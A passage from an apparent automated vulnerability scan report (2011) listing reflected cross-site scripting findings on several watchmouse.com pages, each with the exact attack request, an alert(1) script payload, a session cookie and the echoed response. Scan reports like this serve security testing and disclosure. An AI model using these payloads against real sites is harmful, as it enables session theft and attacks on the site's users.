GET /en/checkit.php?72a2a"><script>alert(1)</script>a6122662567=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:10 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 12:07:11 GMT
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Set-Cookie: nkey=deleted; expires=Tue, 09-Feb-2010 12:07:10 GMT; path=/; domain=.watchmouse.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 43077

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/checkit.php?72a2a"><script>alert(1)</script>a6122662567=1" method="post">
...[SNIP]...

1.411. http://www.watchmouse.com/en/compare_plans.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/compare_plans.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e73e"><script>alert(1)</script>35ba5ba3a10 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en4e73e"><script>alert(1)</script>35ba5ba3a10/compare_plans.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:51 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-0bd773010b5077b12c865fd29ccd88d8"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13127

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en4e73e"><script>alert(1)</script>35ba5ba3a10/compare_plans.php" method="post">
...[SNIP]...

1.412. http://www.watchmouse.com/en/compare_plans.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/compare_plans.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e340"><script>alert(1)</script>9221b0de922 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/compare_plans.php6e340"><script>alert(1)</script>9221b0de922 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:53 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-b91f20af3fe8132dbe91642df473a9d9"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/compare_plans.php6e340"><script>alert(1)</script>9221b0de922" method="post">
...[SNIP]...

1.413. http://www.watchmouse.com/en/compare_plans.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/compare_plans.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9bf72"><script>alert(1)</script>669a34a531f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/compare_plans.php?9bf72"><script>alert(1)</script>669a34a531f=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:06:49 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-dc30a3cc8f1a54fa30620834f64e7144"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 60819

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/compare_plans.php?9bf72"><script>alert(1)</script>669a34a531f=1" method="post">
...[SNIP]...

1.414. http://www.watchmouse.com/en/compare_plans.php [vpackid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/compare_plans.php

Issue detail

The value of the vpackid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99432"><script>alert(1)</script>ae1d7b19b4f was submitted in the vpackid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/compare_plans.php?vpackid=3599432"><script>alert(1)</script>ae1d7b19b4f HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:06:50 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-bce360f73e4c99d9dd54b17508033d43"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 60891

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/compare_plans.php?vpackid=3599432"><script>alert(1)</script>ae1d7b19b4f" method="post">
...[SNIP]...

1.415. http://www.watchmouse.com/en/contact.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/contact.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 517df"><script>alert(1)</script>9aa81fe30a4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en517df"><script>alert(1)</script>9aa81fe30a4/contact.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:26 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-948f2a7f2cb3d3f5350da831684188af"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13073

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en517df"><script>alert(1)</script>9aa81fe30a4/contact.php" method="post">
...[SNIP]...

1.416. http://www.watchmouse.com/en/contact.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/contact.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3dece"><script>alert(1)</script>e746a2f3c3e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/contact.php3dece"><script>alert(1)</script>e746a2f3c3e HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-25bd6165334a4fb8c20d0d187d750dc7"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13046

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/contact.php3dece"><script>alert(1)</script>e746a2f3c3e" method="post">
...[SNIP]...

1.417. http://www.watchmouse.com/en/contact.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/contact.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a050"><script>alert(1)</script>2b2742388bf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/contact.php?6a050"><script>alert(1)</script>2b2742388bf=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:06:21 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-a9c0a450dd6dd958560f3669bbe01d89"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 16404

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/contact.php?6a050"><script>alert(1)</script>2b2742388bf=1" method="post">
...[SNIP]...

1.418. http://www.watchmouse.com/en/current_partners.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/current_partners.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42f15"><script>alert(1)</script>5ad96335c0e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en42f15"><script>alert(1)</script>5ad96335c0e/current_partners.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-2144e3f2f97e0de65099ddb3a56c8736"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en42f15"><script>alert(1)</script>5ad96335c0e/current_partners.php" method="post">
...[SNIP]...

1.419. http://www.watchmouse.com/en/current_partners.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/current_partners.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6bc2"><script>alert(1)</script>81608cc8e78 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/current_partners.phpb6bc2"><script>alert(1)</script>81608cc8e78 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:32 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-22c4668430472ca477ec8d7df0ad1c9c"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13127

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/current_partners.phpb6bc2"><script>alert(1)</script>81608cc8e78" method="post">
...[SNIP]...

1.420. http://www.watchmouse.com/en/current_partners.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/current_partners.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 695a3"><script>alert(1)</script>4b0a60696ee was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/current_partners.php?695a3"><script>alert(1)</script>4b0a60696ee=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:27 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-5b3a837ac4107dd50eab95adaa88f027"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 19567

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/current_partners.php?695a3"><script>alert(1)</script>4b0a60696ee=1" method="post">
...[SNIP]...

1.421. http://www.watchmouse.com/en/customers.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/customers.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57ea8"><script>alert(1)</script>c346d5181b0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en57ea8"><script>alert(1)</script>c346d5181b0/customers.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-f08f3cbfe2000a2d1f33ad024175cf57"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13091

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en57ea8"><script>alert(1)</script>c346d5181b0/customers.php" method="post">
...[SNIP]...

1.422. http://www.watchmouse.com/en/customers.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/customers.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ddd0"><script>alert(1)</script>ed307c79623 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/customers.php7ddd0"><script>alert(1)</script>ed307c79623 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-11bfdfda5b05c993c30ea6dff564b394"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13064

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/customers.php7ddd0"><script>alert(1)</script>ed307c79623" method="post">
...[SNIP]...

1.423. http://www.watchmouse.com/en/customers.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/customers.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1966a"><script>alert(1)</script>2b96432b910 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/customers.php?1966a"><script>alert(1)</script>2b96432b910=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:26 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-3873c08ccf8d7ade8ffe865e0fc8e8ec"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 20972

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/customers.php?1966a"><script>alert(1)</script>2b96432b910=1" method="post">
...[SNIP]...

1.424. http://www.watchmouse.com/en/dnstool.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/dnstool.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9592d"><script>alert(1)</script>b63bab14314 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en9592d"><script>alert(1)</script>b63bab14314/dnstool.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
